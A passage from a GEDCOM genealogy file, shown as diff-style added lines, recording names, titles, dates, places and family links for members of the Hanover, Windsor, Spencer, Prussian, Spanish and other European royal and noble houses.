+1 NAME Elizabeth Collingwood /Colvin/
+1 SEX F
+1 BIRT
+2 DATE        1924
+1 FAMS @F102@
+0 @I317@ INDI
+1 NAME Davina Elizabeth Alice/Windsor/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE 19 NOV 1977
+1 CHR
+2 PLAC Barnwell Church,,England
+1 FAMC @F23@
+0 @I318@ INDI
+1 NAME Rose Victoria Birgitte/Windsor/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE  1 MAR 1980
+2 PLAC St. Marys Hosp.,Paddington,England
+1 CHR
+2 DATE 13 JUL 1980
+2 PLAC Barnwell Church,,England
+1 FAMC @F23@
+0 @I319@ INDI
+1 NAME Marie-Christine  /von_Reibnitz/
+1 TITL Baroness
+1 SEX F
+1 BIRT
+2 DATE 15 JAN 1945
+2 PLAC Czechoslovakia
+1 FAMS @F295@
+1 FAMS @F103@
+0 @I320@ INDI
+1 NAME Frederick  /Windsor/
+1 TITL Lord
+1 SEX M
+1 BIRT
+2 DATE  6 APR 1979
+2 PLAC St. Mary's Hosp.,Paddington,London,England
+1 CHR
+2 DATE 11 JUL 1979
+2 PLAC Chapel Royal,St. James Palace,England
+1 FAMC @F103@
+0 @I321@ INDI
+1 NAME George_II  /Hanover/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 30 OCT 1683
+2 PLAC Herrenhausen,Palace,Hannover,Germany
+1 DEAT
+2 DATE 25 OCT 1760
+2 PLAC Kensington,Palace,London,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 REFN 16
+1 FAMS @F104@
+1 FAMC @F106@
+0 @I322@ INDI
+1 NAME Caroline of_Ansbach //
+1 SEX F
+1 BIRT
+2 DATE        1683
+1 DEAT
+2 DATE        1737
+1 REFN 17
+1 FAMS @F104@
+1 FAMC @F661@
+0 @I323@ INDI
+1 NAME Frederick Louis /Hanover/
+1 TITL Prince of Wales
+1 SEX M
+1 BIRT
+2 DATE 31 JAN 1701
+2 PLAC Hanover
+1 DEAT
+2 DATE 31 MAR 1751
+2 PLAC Leicester-House,,London,England
+1 REFN 8
+1 FAMS @F105@
+1 FAMC @F104@
+0 @I324@ INDI
+1 NAME Anne  /Hanover/
+1 TITL Princess Royal
+1 SEX F
+1 BIRT
+2 DATE  2 NOV 1709
+2 PLAC Herrenhausen
+1 DEAT
+2 DATE 12 JAN 1759
+2 PLAC The Hague
+1 FAMS @F238@
+1 FAMC @F104@
+0 @I325@ INDI
+1 NAME Amelia Sophia Eleanor/Hanover/
+1 SEX F
+1 BIRT
+2 DATE 10 JUL 1711
+2 PLAC Herrenhausen
+1 DEAT
+2 DATE 31 OCT 1786
+2 PLAC Cavendish Square,,London,England
+1 FAMC @F104@
+0 @I326@ INDI
+1 NAME Caroline Elizabeth /Hanover/
+1 SEX F
+1 BIRT
+2 DATE 21 JUN 1713
+2 PLAC Herrenhausen
+1 DEAT
+2 DATE 28 DEC 1757
+2 PLAC St. James Palace,,,England
+1 FAMC @F104@
+0 @I327@ INDI
+1 NAME Son  //
+1 SEX M
+1 BIRT
+2 DATE 20 NOV 1716
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE 20 NOV 1716
+2 PLAC St. James Palace,London,England
+1 FAMC @F104@
+0 @I328@ INDI
+1 NAME George William /Hanover/
+1 SEX M
+1 BIRT
+2 DATE 13 NOV 1717
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE 17 FEB 1718
+2 PLAC Kensington,Palace,London,England
+1 FAMC @F104@
+0 @I329@ INDI
+1 NAME William Augustus of_Cumberland/Hanover/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE 26 APR 1721
+2 PLAC Leicester House
+1 DEAT
+2 DATE 31 OCT 1765
+2 PLAC London,,,England
+1 FAMC @F104@
+0 @I330@ INDI
+1 NAME Mary  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE  5 MAR 1723
+2 PLAC Leicester House
+1 DEAT
+2 DATE 14 JAN 1772
+2 PLAC Hanau
+1 FAMS @F622@
+1 FAMC @F104@
+0 @I331@ INDI
+1 NAME Louisa  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE 18 DEC 1724
+2 PLAC Leicester House,London,England
+1 DEAT
+2 DATE 19 DEC 1751
+2 PLAC Christiansborg,Denmark
+1 FAMS @F107@
+1 FAMC @F104@
+0 @I332@ INDI
+1 NAME Augusta of_Saxe-Gotha //
+1 SEX F
+1 BIRT
+2 DATE 30 NOV 1719
+2 PLAC Gotha
+1 DEAT
+2 DATE  8 FEB 1772
+2 PLAC Carlton House
+1 REFN 9
+1 FAMS @F105@
+1 FAMC @F956@
+0 @I333@ INDI
+1 NAME Augusta  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE 12 AUG 1737
+2 PLAC St. James Palace,London,England
+1 DEAT
+2 DATE 23 MAR 1813
+2 PLAC London,England
+1 FAMS @F501@
+1 FAMC @F105@
+0 @I334@ INDI
+1 NAME Edward Augustus /Hanover/
+1 TITL Duke of York
+1 SEX M
+1 BIRT
+2 DATE 25 MAR 1739
+2 PLAC Norfolk House
+1 DEAT
+2 DATE 17 SEP 1767
+2 PLAC Monaco
+1 FAMC @F105@
+0 @I335@ INDI
+1 NAME Elizabeth Caroline /Hanover/
+1 SEX F
+1 BIRT
+2 DATE 10 JAN 1741
+1 DEAT
+2 DATE  4 SEP 1759
+2 PLAC Kew Palace
+1 FAMC @F105@
+0 @I336@ INDI
+1 NAME Edward Henry of_Gloucester/Hanover/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE 25 NOV 1743
+2 PLAC Leicester House
+1 DEAT
+2 DATE 25 AUG 1805
+2 PLAC Gloucester House
+1 FAMS @F279@
+1 FAMC @F105@
+0 @I337@ INDI
+1 NAME Henry Frederick of_Cumberland/Hanover/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE  7 NOV 1745
+2 PLAC Leicester House
+1 DEAT
+2 DATE 18 SEP 1790
+2 PLAC London,,,England
+1 FAMS @F280@
+1 FAMC @F105@
+0 @I338@ INDI
+1 NAME Louisa Anne /Hanover/
+1 SEX F
+1 BIRT
+2 DATE 19 MAR 1749
+2 PLAC Leicester House
+1 DEAT
+2 DATE 13 MAY 1768
+2 PLAC Carlton House
+1 FAMC @F105@
+0 @I339@ INDI
+1 NAME Frederick William /Hanover/
+1 SEX M
+1 BIRT
+2 DATE 24 MAY 1750
+2 PLAC Leicester House
+1 DEAT
+2 DATE 29 DEC 1765
+2 PLAC Leicester House
+1 FAMC @F105@
+0 @I340@ INDI
+1 NAME Caroline Matilda /Hanover/
+1 SEX F
+1 BIRT
+2 DATE 22 JUL 1751
+2 PLAC Leicester House
+1 DEAT
+2 DATE 10 MAY 1775
+2 PLAC Celle
+1 BURI
+2 PLAC Celle
+1 FAMS @F281@
+1 FAMC @F105@
+0 @I341@ INDI
+1 NAME George_I  /Hanover/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 28 MAY 1660
+2 PLAC Leineschloss,Osnabruck,Hanover,Germany
+1 DEAT
+2 DATE 11 JUN 1727
+2 PLAC Osnabruck
+1 BURI
+2 PLAC Moved in 1957 to,Herrenhausen
+1 REFN 32
+1 FAMS @F106@
+1 FAMC @F266@
+0 @I342@ INDI
+1 NAME Sophia Dorothea of_Celle//
+1 SEX F
+1 BIRT
+2 DATE 10 SEP 1666
+1 DEAT
+2 DATE 13 NOV 1726
+1 BURI
+2 PLAC Celle
+1 REFN 33
+1 FAMS @F106@
+1 FAMC @F955@
+0 @I343@ INDI
+1 NAME Sophia Dorothea /Hanover/
+1 SEX F
+1 BIRT
+2 DATE 26 MAR 1687
+2 PLAC Hanover
+1 DEAT
+2 DATE 28 JUN 1757
+2 PLAC Monbijou Palace,,Berlin,Germany
+1 FAMS @F435@
+1 FAMC @F106@
+0 @I344@ INDI
+1 NAME Frederick_V  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 31 MAR 1723
+2 PLAC Copenhagen,Denmark
+1 DEAT
+2 DATE 14 JAN 1766
+2 PLAC Christiansborg
+1 FAMS @F107@
+1 FAMS @F630@
+1 FAMC @F631@
+0 @I345@ INDI
+1 NAME Frederick William of_Schleswig-//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1785
+1 DEAT
+2 DATE        1831
+1 FAMS @F108@
+0 @I346@ INDI
+1 NAME Louise Caroline of_Hesse-Cassel//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1789
+1 DEAT
+2 DATE        1867
+1 FAMS @F108@
+1 FAMC @F641@
+0 @I347@ INDI
+1 NAME Alexander of_Hesse and_the_Rhine//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1823
+1 DEAT
+2 DATE        1888
+1 FAMS @F109@
+1 FAMC @F110@
+0 @I348@ INDI
+1 NAME Julia of_Battenberg /von_Hauke/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1825
+1 DEAT
+2 DATE        1895
+1 FAMS @F109@
+1 FAMC @F111@
+0 @I349@ INDI
+1 NAME Louis_II of_Hesse and_the_Rhine//
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1777
+1 DEAT
+2 DATE        1848
+1 FAMS @F110@
+1 FAMC @F1371@
+0 @I350@ INDI
+1 NAME Wilhelmina of_Baden //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1788
+1 DEAT
+2 DATE        1836
+1 FAMS @F110@
+0 @I351@ INDI
+1 NAME John Maurice /von_Hauke/
+1 TITL Count
+1 SEX M
+1 DEAT
+2 DATE        1830
+1 FAMS @F111@
+0 @I352@ INDI
+1 NAME Sophie  /la_Fontaine/
+1 SEX F
+1 DEAT
+2 DATE        1831
+1 FAMS @F111@
+0 @I353@ INDI
+1 NAME Constantine Nikolaievitch of_Russia//
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1827
+1 DEAT
+2 DATE        1892
+1 FAMS @F112@
+1 FAMC @F10@
+0 @I354@ INDI
+1 NAME Elizabeth Alexandra of_Saxe-//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1830
+1 DEAT
+2 DATE        1911
+1 FAMS @F112@
+1 FAMC @F113@
+0 @I355@ INDI
+1 NAME Joseph of_Saxe- Altenburg//
+1 TITL Duke
+1 SEX M
+1 DEAT
+2 DATE        1868
+1 FAMS @F113@
+0 @I356@ INDI
+1 NAME Amalie of_Wurttemberg //
+1 TITL Duchess
+1 SEX F
+1 DEAT
+2 DATE        1848
+1 FAMS @F113@
+1 FAMC @F170@
+0 @I357@ INDI
+1 NAME Charles of_Hesse //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1809
+1 DEAT
+2 DATE        1877
+1 FAMS @F114@
+1 FAMC @F110@
+0 @I358@ INDI
+1 NAME Elizabeth of_Prussia //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1815
+1 DEAT
+2 DATE        1885
+1 FAMS @F114@
+1 FAMC @F1235@
+0 @I359@ INDI
+1 NAME Charles William Frederick/Cavendish-Bentwi/
+1 TITL Reverend
+1 SEX M
+1 DEAT
+2 DATE        1865
+0 @I360@ INDI
+1 NAME William Charles Augustus/Cavendish-Bentin/
+1 TITL Lord
+1 SEX M
+1 DEAT
+2 DATE        1826
+1 FAMS @F115@
+0 @I361@ INDI
+1 NAME Anne  /Wellesley/
+1 SEX F
+1 DEAT
+2 DATE        1875
+1 FAMS @F115@
+1 FAMC @F803@
+0 @I362@ INDI
+1 NAME Edwyn  /Burnaby/
+1 SEX M
+1 DEAT
+2 DATE        1867
+1 FAMS @F116@
+0 @I363@ INDI
+1 NAME Anne Caroline /Salisbury/
+1 SEX F
+1 DEAT
+2 DATE        1881
+1 FAMS @F116@
+0 @I364@ INDI
+1 NAME Oswald  /Smith/
+1 SEX M
+1 DEAT
+2 DATE        1863
+1 FAMS @F117@
+0 @I365@ INDI
+1 NAME Henrietta Mildred /Hodgson/
+1 SEX F
+1 FAMS @F117@
+0 @I366@ INDI
+1 NAME Albert Edward John/Spencer/
+1 TITL Earl of Spencer
+1 SEX M
+1 BIRT
+2 DATE        1892
+1 DEAT
+2 DATE        1975
+1 FAMS @F118@
+1 FAMC @F133@
+0 @I367@ INDI
+1 NAME Cynthia Elinor Beatrix/Hamilton/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1897
+1 DEAT
+2 DATE        1972
+1 FAMS @F118@
+1 FAMC @F127@
+0 @I368@ INDI
+1 NAME Edmund Maurice /Burke_Roche/
+1 TITL Baron Fermoy
+1 SEX M
+1 BIRT
+2 DATE        1885
+1 DEAT
+2 DATE        1955
+1 FAMS @F119@
+1 FAMC @F120@
+0 @I369@ INDI
+1 NAME Ruth Sylvia /Gill/
+1 SEX F
+1 BIRT
+2 DATE        1908
+1 FAMS @F119@
+1 FAMC @F130@
+0 @I370@ INDI
+1 NAME James Boothby /Burke_Roche/
+1 TITL Baron Fermoy
+1 SEX M
+1 BIRT
+2 DATE        1851
+1 DEAT
+2 DATE        1920
+1 FAMS @F120@
+1 FAMC @F124@
+0 @I371@ INDI
+1 NAME Frances Ellen /Work/
+1 SEX F
+1 BIRT
+2 DATE        1857
+1 DEAT
+2 DATE        1947
+1 FAMS @F120@
+1 FAMC @F121@
+0 @I372@ INDI
+1 NAME Frank  /Work/
+1 SEX M
+1 BIRT
+2 DATE        1819
+1 DEAT
+2 DATE        1911
+1 FAMS @F121@
+1 FAMC @F123@
+0 @I373@ INDI
+1 NAME Ellen  /Wood/
+1 SEX F
+1 BIRT
+2 DATE        1831
+1 DEAT
+2 DATE        1877
+1 FAMS @F121@
+1 FAMC @F122@
+0 @I374@ INDI
+1 NAME John  /Wood/
+1 SEX M
+1 DEAT
+2 DATE        1847
+1 FAMS @F122@
+0 @I375@ INDI
+1 NAME Ellen  /Strong/
+1 SEX F
+1 DEAT
+2 DATE        1863
+1 FAMS @F122@
+0 @I376@ INDI
+1 NAME John  /Work/
+1 SEX M
+1 FAMS @F123@
+0 @I377@ INDI
+1 NAME Sarah  /Boude/
+1 SEX F
+1 FAMS @F123@
+0 @I378@ INDI
+1 NAME Edmund  /Burke_Roche/
+1 TITL Baron Fermoy
+1 SEX M
+1 BIRT
+2 DATE        1815
+1 DEAT
+2 DATE        1874
+1 FAMS @F124@
+1 FAMC @F126@
+0 @I379@ INDI
+1 NAME Elizabeth Caroline /Boothby/
+1 SEX F
+1 BIRT
+2 DATE        1821
+1 DEAT
+2 DATE        1897
+1 FAMS @F124@
+1 FAMC @F125@
+0 @I380@ INDI
+1 NAME James Brownell /Boothby/
+1 SEX M
+1 DEAT
+2 DATE        1850
+1 FAMS @F125@
+0 @I381@ INDI
+1 NAME Charlotte  /Cunningham/
+1 SEX F
+1 DEAT
+2 DATE        1893
+1 FAMS @F125@
+0 @I382@ INDI
+1 NAME Edward  /Roche/
+1 SEX M
+1 DEAT
+2 DATE        1855
+1 FAMS @F126@
+0 @I383@ INDI
+1 NAME Margaret Honoria /Curtain/
+1 SEX F
+1 DEAT
+2 DATE        1862
+1 FAMS @F126@
+0 @I384@ INDI
+1 NAME James Albert Edward/Hamilton/
+1 TITL Duke of Abercorn
+1 SEX M
+1 BIRT
+2 DATE        1869
+1 DEAT
+2 DATE        1953
+1 FAMS @F127@
+1 FAMC @F128@
+0 @I385@ INDI
+1 NAME Rosalind Cecilia Caroline/Bingham/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1869
+1 DEAT
+2 DATE        1958
+1 FAMS @F127@
+1 FAMC @F129@
+0 @I386@ INDI
+1 NAME James  /Hamilton/
+1 TITL Duke of Abercorn
+1 SEX M
+1 BIRT
+2 DATE        1838
+1 DEAT
+2 DATE        1913
+1 FAMS @F128@
+1 FAMC @F288@
+0 @I387@ INDI
+1 NAME Mary Anna /Curzon-Howe/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1848
+1 DEAT
+2 DATE        1929
+1 FAMS @F128@
+1 FAMC @F287@
+0 @I388@ INDI
+1 NAME George  /Bingham/
+1 TITL Earl of Lucan
+1 SEX M
+1 BIRT
+2 DATE        1830
+1 DEAT
+2 DATE        1914
+1 FAMS @F129@
+1 FAMC @F289@
+0 @I389@ INDI
+1 NAME Cecilia Catherine /Gordon-Lennox/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1838
+1 DEAT
+2 DATE        1910
+1 FAMS @F129@
+1 FAMC @F290@
+0 @I390@ INDI
+1 NAME William Smith /Gill/
+1 SEX M
+1 BIRT
+2 DATE        1865
+1 DEAT
+2 DATE        1957
+1 FAMS @F130@
+1 FAMC @F131@
+0 @I391@ INDI
+1 NAME Ruth  /Littlejohn/
+1 SEX F
+1 BIRT
+2 DATE        1879
+1 DEAT
+2 DATE        1964
+1 FAMS @F130@
+1 FAMC @F132@
+0 @I392@ INDI
+1 NAME Alexander Ogston /Gill/
+1 SEX M
+1 BIRT
+2 DATE        1833
+1 DEAT
+2 DATE        1908
+1 FAMS @F131@
+1 FAMC @F291@
+0 @I393@ INDI
+1 NAME Barbara Smith /Marr/
+1 SEX F
+1 BIRT
+2 DATE        1843
+1 FAMS @F131@
+1 FAMC @F292@
+0 @I394@ INDI
+1 NAME David  /Littlejohn/
+1 SEX M
+1 BIRT
+2 DATE        1841
+1 DEAT
+2 DATE        1924
+1 FAMS @F132@
+1 FAMC @F293@
+0 @I395@ INDI
+1 NAME Jane  /Crombie/
+1 SEX F
+1 BIRT
+2 DATE        1843
+1 DEAT
+2 DATE        1917
+1 FAMS @F132@
+1 FAMC @F294@
+0 @I396@ INDI
+1 NAME Charles Robert /Spencer/
+1 TITL Earl of Spencer
+1 SEX M
+1 BIRT
+2 DATE        1857
+1 DEAT
+2 DATE        1922
+1 FAMS @F133@
+1 FAMC @F134@
+0 @I397@ INDI
+1 NAME Margaret  /Baring/
+1 TITL Hon.
+1 SEX F
+1 BIRT
+2 DATE        1868
+1 DEAT
+2 DATE        1906
+1 FAMS @F133@
+1 FAMC @F135@
+0 @I398@ INDI
+1 NAME Frederick  /Spencer/
+1 TITL Earl of Spencer
+1 SEX M
+1 BIRT
+2 DATE        1798
+1 DEAT
+2 DATE        1857
+1 FAMS @F134@
+1 FAMS @F683@
+1 FAMC @F285@
+0 @I399@ INDI
+1 NAME Adelaide Horatia Elizabeth/Seymour/
+1 SEX F
+1 BIRT
+2 DATE        1825
+1 DEAT
+2 DATE        1877
+1 FAMS @F134@
+1 FAMC @F284@
+0 @I400@ INDI
+1 NAME Edward Charles /Baring/
+1 TITL Baron Revelstoke
+1 SEX M
+1 BIRT
+2 DATE        1828
+1 DEAT
+2 DATE        1897
+1 FAMS @F135@
+1 FAMC @F286@
+0 @I401@ INDI
+1 NAME Louisa Emily Charlotte/Bulteel/
+1 SEX F
+1 BIRT
+2 DATE        1839
+1 DEAT
+2 DATE        1892
+1 FAMS @F135@
+1 FAMC @F283@
+0 @I402@ INDI
+1 NAME Augusta of_Schleswig- Holstein-//
+1 SEX F
+1 BIRT
+2 DATE 22 OCT 1858
+2 PLAC Dolzig
+1 DEAT
+2 DATE 11 APR 1921
+2 PLAC Haus Doorn,Netherlands
+1 FAMS @F136@
+0 @I403@ INDI
+1 NAME Bernard of_Saxe- Meiningen//
+1 SEX M
+1 BIRT
+2 DATE        1851
+1 DEAT
+2 DATE        1928
+1 FAMS @F137@
+0 @I404@ INDI
+1 NAME Adolphus of_Schaumburg- Lippe//
+1 SEX M
+1 BIRT
+2 DATE        1859
+1 DEAT
+2 DATE        1916
+1 FAMS @F138@
+0 @I405@ INDI
+1 NAME Constantine_I  /Oldenburg/
+1 TITL King of Greece
+1 SEX M
+1 BIRT
+2 DATE  2 AUG 1868
+2 PLAC Athens,Greece
+1 DEAT
+2 DATE 11 JAN 1923
+2 PLAC Palermo,Italy
+1 BURI
+2 DATE    NOV 1936
+2 PLAC Tatoi,Near Athens,Greece
+1 FAMS @F139@
+1 FAMC @F75@
+0 @I406@ INDI
+1 NAME Frederick Charles of_Hesse//
+1 SEX M
+1 BIRT
+2 DATE        1868
+1 DEAT
+2 DATE        1940
+1 FAMS @F140@
+0 @I407@ INDI
+1 NAME Victoria of_Schleswig- Holstein//
+1 TITL Princess
+1 SEX F
+1 FAMS @F141@
+0 @I408@ INDI
+1 NAME Irene  /Denison/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1890
+1 DEAT
+2 DATE 16 JUL 1956
+1 BURI
+2 PLAC Whippingham Ch.,Isle of Wight,,England
+1 FAMS @F142@
+1 FAMC @F966@
+0 @I409@ INDI
+1 NAME Alfonso_XIII  //
+1 TITL King of Spain
+1 SEX M
+1 BIRT
+2 DATE        1886
+1 DEAT
+2 DATE        1941
+2 PLAC ,,Portugal
+1 FAMS @F143@
+1 FAMC @F254@
+0 @I410@ INDI
+1 NAME Louise of_Mecklenburg- Strelitz//
+1 SEX F
+1 BIRT
+2 DATE        1776
+1 DEAT
+2 DATE        1810
+1 FAMS @F145@
+0 @I411@ INDI
+1 NAME Frederick William_IV //
+1 TITL King of Prussia
+1 SEX M
+1 BIRT
+2 DATE 15 OCT 1795
+2 PLAC Berlin,Germany
+1 DEAT
+2 DATE  2 JAN 1861
+1 FAMS @F434@
+1 FAMC @F145@
+0 @I412@ INDI
+1 NAME William_I of_Germany //
+1 TITL Emperor
+1 SEX M
+1 BIRT
+2 DATE 22 MAR 1797
+2 PLAC Berlin,Germany
+1 DEAT
+2 DATE  9 MAR 1888
+2 PLAC Berlin,Germany
+1 FAMS @F147@
+1 FAMC @F145@
+0 @I413@ INDI
+1 NAME Frederica  //
+1 SEX F
+1 BIRT
+2 DATE        1799
+1 DEAT
+2 DATE        1800
+1 FAMC @F145@
+0 @I414@ INDI
+1 NAME Charles  //
+1 SEX M
+1 BIRT
+2 DATE        1801
+1 DEAT
+2 DATE        1883
+1 FAMS @F184@
+1 FAMC @F145@
+0 @I415@ INDI
+1 NAME Charles  //
+1 SEX M
+1 BIRT
+2 DATE        1766
+1 DEAT
+2 DATE        1806
+1 FAMS @F1257@
+0 @I416@ INDI
+1 NAME Ferdinand  //
+1 SEX M
+1 BIRT
+2 DATE        1804
+1 DEAT
+2 DATE        1806
+1 FAMC @F145@
+0 @I417@ INDI
+1 NAME Charlemagne  //
+1 TITL King of Franks
+1 SEX M
+1 BIRT
+2 DATE  2 APR  742
+2 PLAC Aachen,West Germany
+1 DEAT
+2 DATE         814
+1 FAMS @F182@
+1 FAMS @F664@
+1 FAMS @F1202@
+1 FAMS @F1203@
+1 FAMS @F1204@
+1 FAMC @F1225@
+0 @I418@ INDI
+1 NAME Albert of_Prussia //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1809
+1 DEAT
+2 DATE        1872
+1 FAMS @F180@
+1 FAMS @F181@
+1 FAMC @F145@
+0 @I419@ INDI
+1 NAME Hermine of_Reuss //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 17 DEC 1887
+2 PLAC Greiz
+1 DEAT
+2 DATE  7 AUG 1947
+2 PLAC Frankfurt an der,Oder
+1 FAMS @F278@
+1 FAMS @F146@
+0 @I420@ INDI
+1 NAME William  //
+1 TITL Crown Prince
+1 SEX M
+1 BIRT
+2 DATE        1882
+1 DEAT
+2 DATE        1951/1952
+1 FAMS @F186@
+1 FAMC @F136@
+0 @I421@ INDI
+1 NAME Eitel Frederick //
+1 SEX M
+1 BIRT
+2 DATE        1883
+1 DEAT
+2 DATE        1942/1943
+1 FAMS @F193@
+1 FAMC @F136@
+0 @I422@ INDI
+1 NAME Adalbert  //
+1 SEX M
+1 BIRT
+2 DATE        1884
+1 DEAT
+2 DATE        1948
+1 FAMS @F194@
+1 FAMC @F136@
+0 @I423@ INDI
+1 NAME Augustus William //
+1 SEX M
+1 BIRT
+2 DATE        1887
+1 DEAT
+2 DATE        1949
+1 FAMS @F195@
+1 FAMC @F136@
+0 @I424@ INDI
+1 NAME Oscar  //
+1 SEX M
+1 BIRT
+2 DATE        1888
+1 DEAT
+2 DATE        1958
+1 FAMS @F196@
+1 FAMC @F136@
+0 @I425@ INDI
+1 NAME Joachim  //
+1 SEX M
+1 BIRT
+2 DATE        1890
+1 DEAT
+2 DATE        1920
+1 FAMS @F197@
+1 FAMC @F136@
+0 @I426@ INDI
+1 NAME Victoria Louise of_Prussia//
+1 SEX F
+1 BIRT
+2 DATE        1892
+1 DEAT
+2 DATE        1980
+1 FAMS @F198@
+1 FAMC @F136@
+0 @I427@ INDI
+1 NAME Augusta of_Saxe-Weimar //
+1 SEX F
+1 BIRT
+2 DATE        1811
+1 DEAT
+2 DATE        1890
+1 FAMS @F147@
+0 @I428@ INDI
+1 NAME Louise  //
+1 SEX F
+1 BIRT
+2 DATE        1828
+1 DEAT
+2 DATE        1923
+1 FAMS @F148@
+1 FAMC @F147@
+0 @I429@ INDI
+1 NAME Frederick of_Baden //
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1826
+1 DEAT
+2 DATE        1907
+1 FAMS @F148@
+0 @I430@ INDI
+1 NAME Alphonso of_Cavadonga //
+1 TITL Count
+1 SEX M
+1 BIRT
+2 DATE        1907
+1 DEAT
+2 DATE        1938
+1 FAMS @F1248@
+1 FAMS @F1249@
+1 FAMC @F143@
+0 @I431@ INDI
+1 NAME Don Jamie //
+1 SEX M
+1 FAMC @F143@
+0 @I432@ INDI
+1 NAME Don Juan of_Spain//
+1 SEX M
+1 BIRT
+2 DATE    JUN 1913
+2 PLAC San Ildefonso,,Spain
+1 FAMS @F149@
+1 FAMC @F143@
+0 @I433@ INDI
+1 NAME Beatrice  //
+1 SEX F
+1 BIRT
+2 DATE        1909
+1 FAMS @F1251@
+1 FAMC @F143@
+0 @I434@ INDI
+1 NAME Maria de_las_Mercedes of_Bourbon//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1910
+2 PLAC Madrid,,Spain
+1 FAMS @F149@
+1 FAMC @F1245@
+0 @I435@ INDI
+1 NAME Juan Carlos //
+1 TITL King of Spain
+1 SEX M
+1 BIRT
+2 DATE        1938
+1 FAMS @F152@
+1 FAMC @F149@
+0 @I436@ INDI
+1 NAME Marie (Mignon) /Hohenzollern/
+1 SEX F
+1 BIRT
+2 DATE        1900
+1 DEAT
+2 DATE        1961
+1 FAMS @F151@
+1 FAMC @F100@
+0 @I437@ INDI
+1 NAME Elizabeth of_Romania /Hohenzollern/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 12 OCT 1894
+2 PLAC Pelesch
+1 DEAT
+2 DATE 14 NOV 1956
+2 PLAC Cannes,France
+1 FAMS @F150@
+1 FAMC @F100@
+0 @I438@ INDI
+1 NAME Carol_II  /Hohenzollern/
+1 TITL King of Romania
+1 SEX M
+1 BIRT
+2 DATE 15 OCT 1893
+2 PLAC Castle Pelesch,Sinaia,Romania
+1 DEAT
+2 DATE  4 APR 1953
+2 PLAC Villa Mar y Sol,Estoril,Portugal
+1 FAMS @F364@
+1 FAMS @F160@
+1 FAMS @F401@
+1 FAMC @F100@
+0 @I439@ INDI
+1 NAME George_II  /Oldenburg/
+1 TITL King of Greece
+1 SEX M
+1 BIRT
+2 DATE 19 JUL 1890
+2 PLAC Tatoi,Near Athens,Greece
+1 DEAT
+2 DATE  1 APR 1947
+2 PLAC Athens,Greece
+1 BURI
+2 PLAC Tatoi,Near Athens,Greece
+1 FAMS @F150@
+1 FAMC @F139@
+0 @I440@ INDI
+1 NAME Alexander_I of_Yugoslavia //
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE        1888
+1 DEAT
+2 DATE        1934
+1 FAMS @F151@
+1 FAMC @F1195@
+0 @I441@ INDI
+1 NAME Sophia of_Greece /Oldenburg/
+1 SEX F
+1 BIRT
+2 DATE        1938
+1 FAMS @F152@
+1 FAMC @F162@
+0 @I442@ INDI
+1 NAME Helen  //
+1 SEX F
+1 BIRT
+2 DATE        1963
+1 FAMC @F152@
+0 @I443@ INDI
+1 NAME Christine  //
+1 SEX F
+1 BIRT
+2 DATE        1965
+1 FAMC @F152@
+0 @I444@ INDI
+1 NAME Philip of_Asturias //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1968
+1 FAMC @F152@
+0 @I445@ INDI
+1 NAME Gustav Adolf //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1906
+1 DEAT
+2 DATE        1947
+1 FAMS @F217@
+1 FAMC @F35@
+0 @I446@ INDI
+1 NAME Erik of_Vastmanland //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1889
+1 DEAT
+2 DATE        1918
+1 FAMC @F155@
+0 @I447@ INDI
+1 NAME Sigvard Oscar Fredrik//
+1 TITL Count of Wisborg
+1 SEX M
+1 BIRT
+2 DATE  7 JUN 1907
+1 FAMS @F1291@
+1 FAMS @F1292@
+1 FAMS @F1289@
+1 FAMC @F35@
+0 @I448@ INDI
+1 NAME Bertil Gustaf Oscar//
+1 TITL Prince of Sweden
+1 SEX M
+1 BIRT
+2 DATE 28 FEB 1912
+1 FAMS @F1290@
+1 FAMC @F35@
+0 @I449@ INDI
+1 NAME Carl Johan Arthur//
+1 TITL Count of Wisborg
+1 SEX M
+1 BIRT
+2 DATE 31 OCT 1916
+1 FAMS @F1293@
+1 FAMS @F1294@
+1 FAMC @F35@
+0 @I450@ INDI
+1 NAME Olav_V  //
+1 TITL King of Norway
+1 SEX M
+1 BIRT
+2 DATE  2 JUL 1903
+2 PLAC Appleton House,Sandringham,Norfolk,England
+1 DEAT
+2 DATE 17 JAN 1991
+2 PLAC Norway
+1 FAMS @F153@
+1 FAMC @F21@
+0 @I451@ INDI
+1 NAME Martha of_Sweden //
